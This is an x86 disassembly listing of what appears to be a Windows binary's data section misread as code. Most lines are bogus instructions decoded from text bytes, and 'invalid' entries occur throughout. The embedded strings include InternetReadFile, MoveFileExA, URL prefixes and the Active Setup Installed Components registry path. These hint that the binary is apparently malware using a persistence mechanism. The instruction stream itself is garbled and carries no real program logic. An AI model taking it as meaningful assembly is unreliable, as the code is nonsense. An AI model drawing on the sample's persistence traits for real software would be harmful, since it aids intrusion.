je 0x1001b5c3
outsb dx, byte [esi]
imul ebp, dword [ebp + 0x72], 0x5465
insd dword es:[edi], dx
jb 0x1001b5cc
push esp
add byte [eax], al
add byte [eax], al
add byte [ecx + ebp*2 + 0x73], al
inc esp
invalid
jae 0x1001b5d3
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
inc esp
imul esi, dword [ebx + 0x63], 0x656e6e6f
arpl word [esi + ecx*2 + 0x61], si
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[esi + ecx*2 + 0x61], si
insd dword es:[edi], dx
push eax
imul esi, dword [eax + 0x65], 0x52454b00
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
dec ebp
outsd dx, dword [esi]
jbe 0x1001b5f9
inc esi
imul ebp, dword [ebp + 0x45], 0x41004178
inc ecx
inc edx
inc ebp
inc ebp
js 0x1001b5dc
add byte [ecx + 0x42], al
inc ecx
inc edx
inc ebx
inc esp
inc ebp
inc esi
inc edi
dec eax
dec ecx
dec edx
dec ebx
dec esp
dec ebp
dec esi
dec edi
push eax
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
pop eax
pop ecx
pop edx
popal
bound esp, qword [ebx + 0x64]
push 0x6a69
push 0x6a69
push 0x6c6b6a69
insd dword es:[edi], dx
imul ebp, dword [ebp + ebp*2 + 0x6e], 0x6f
outsb dx, byte [esi]
outsd dx, dword [esi]
jo 0x1001b638
jb 0x1001b63c
je str.eliFdaeRtenretnI
jbe 0x1001b644
ja 0x1001b646
js 0x1001b648
jns 0x1001b64a
jp 0x1001b601
xor byte [ecx], dh
xor dh, byte [ebx]
xor al, 0x35
aaa
cmp byte [ecx], bh
xor dword [edx], esi
xor esi, dword [esi + 0x39383736]
sub ebp, dword [edi]
add byte [eax], al
add byte [eax], al
int 0xf8
sal byte [ebx - 0x5e373e4a], cl
mov dl, 0xa2
mov ah, 0xa6
shr ch, 0xcd
ljmp 0xd6d7
je 0x1001b66f
jo 0x1001b5b3
ror eax, 0xa1
mov bl, 0xac
lodsb al, byte [esi]
retf 0xb1
inc esi
imul ebp, dword [ebp], 0x65000000
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
imul eax, dword [esi + 0x64], 0x74526561
outsb dx, byte gs:[esi]
popal
push edx
je 0x1001b6af
outsb dx, byte [esi]
jb 0x1001b6b2
je 0x1001b6bd
dec ecx
add byte [eax], al
add byte [eax], al
inc ecx
insb byte es:[edi], dx
jb 0x1001b6ad
outsb dx, byte [esi]
jo 0x1001b6ab
je 0x1001b6c3
outsb dx, byte [esi]
jb 0x1001b6c6
je 0x1001b6d1
dec ecx
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
outsb dx, byte fs:[esi]
popal
dec eax
jae 0x1001b6e0
jae 0x1001b6e0
insb byte es:[edi], dx
inc ebx
je 0x1001b6da
outsb dx, byte [esi]
jb 0x1001b6dd
je 0x1001b6e8
dec ecx
add byte [esp + ebp*2 + 0x64], ch
insb byte es:[edi], dx
insb byte es:[edi], dx
push esp
inc ebp
dec esi
dec ecx
dec esi
dec ecx
push edi
add byte [ecx + 0x6e], cl
dec ecx
outsb dx, byte [esi]
je 0x1001b6f1
jb 0x1001b6fc
je 0x1001b6e0
jo 0x1001b6f8
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add ch, cl
clc
sal byte [ebx - 0x5e373e4a], cl
mov dword [0x680000ba], eax
invalid
je 0x1001b71b
jo 0x1001b71c
cmp ch, byte [edi]
das
add byte [eax], al
add byte [eax], al
push 0x3a707474
das
add byte [eax], al
add byte [eax + 0x74], ch
invalid
invalid
je 0x1001b724
cmp ch, byte [edi]
das
add byte [eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
jae 0x1001b730
add byte [eax], al
add byte [eax], al
inc ecx
arpl word [ecx + ebp*2 + 0x76], si
and dh, al
add byte [eax], al
add byte [ecx + 0x63], al
inc ecx
invalid
je 0x1001b72d
imul esi, dword [esi + 0x65], 0xb6f4c620
scasd eax, dword es:[edi]
into
les edi, [esi + edi*8 - 0x5e373e4a]
retf 0xb0a7
jbe 0x1001b72b
and dh, al
hlt
enter 0xffffffffffffcaa1, 0xffffffffffffffa7
mov al, 0xdc
add byte [ebx + 0x74], dh
jae 0x1001b74e
jne 0x1001b73e
jo 0x1001b73f
popal
je 0x1001b748
add byte [eax], al
add byte [eax], al
and eax, 0x732573
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
add byte [eax], al
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001b75b
jb 0x1001b769
jae 0x1001b76b
je 0x1001b75b
inc ecx
arpl word [ecx + ebp*2 + 0x76], si
and byte gs:[ebx + 0x65], dl
je 0x1001b77f
jo 0x1001b768
dec ecx
outsb dx, byte [esi]
jae 0x1001b784
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
and byte fs:[ebx + 0x6f], al
insd dword es:[edi], dx
jo 0x1001b78a
outsb dx, byte [esi]
outsb dx, byte gs:[esi]
je 0x1001b793
pop esp
add byte [eax], al
add dh, dl
salc
fadd st(6)
hlt
int3
add dh, dl
salc
fdivr dword [eax - 0x4c41364c]
std
add byte [eax], al
add byte [eax], al
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
inc ecx
dec esp
outsd dx, dword [esi]
outsb dx, byte [esi]
and ch, cl
retf
test byte [eax], 0
add byte [ebx + 0x6f], dl
push ebx
outsd dx, dword [esi]
je 0x1001b7c8
popal
jb 0x1001b7b9
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001b7bb
outsd dx, dword [esi]
je 0x1001b7bb
inc ecx
arpl word [ecx + ebp*2 + 0x76], si
and byte gs:[ebx + 0x65], dl
je 0x1001b7df
jne 0x1001b7db
jo 0x1001b7c8
pop esp
dec ecx
outsb dx, byte [esi]
jae 0x1001b7e4
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
and byte fs:[ebx + 0x6f], al
insd dword es:[edi], dx
jo 0x1001b7ea
outsb dx, byte [esi]
outsb dx, byte gs:[esi]
je 0x1001b7f3
jae 0x1001b7dd
pop esp
add byte [eax], al
add byte [ecx - 0x305b445d], dh
fbstp tbyte [ebx + 0xcc]
add dh, al
hlt
mov cl, 0xa3
mov ebx, 0xb3dfcfa4
int3
mov bl, 0xcc
add byte [eax], al
add byte [eax], al
invalid
scasd eax, dword es:[edi]
mov esi, 0xcefeb7c9
int1
mov bl, 0xc9
mov ecx, 0xc60000a6
hlt
mov ebx, 0xc9bed0d3
mov bh, 0xfe
into
sar byte [esi - 0x31014837], 1
int1
add byte [eax], al
mov bl, 0xcc
sal dl, 1
int 0xcb
mov bl, 0xf6
add byte [eax], al
add byte [eax], al
mov dh, 0xcb
mov edi, 0x3ada
add cl, cl
iretd
fbstp tbyte [ebp + 0x3ab7d6d8]
fcom st(6)
mov bh, 0x3a
add byte [eax], al
add dh, dl
salc
fdivr dword [eax - 0x2f342b4c]
rol byte [eax], 1
add byte [eax], al
add byte [edi - 0x3c0e3102], dh
sti
mov dword [0xba], eax
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
pop esp
dec esp
popal
outsb dx, byte [esi]
and byte [di], ah
add byte fs:[eax], al
push edi
imul ebp, dword [esi + 0x53], 0x306174
insb byte es:[edi], dx
insb byte es:[edi], dx
salc
rol bl, 1
mov ebx, 0xbdb5d2d5
leave
iretd
rcl al, 1
add byte [eax], al
add byte [eax], al
mov bh, 0xfe
into
int1
ret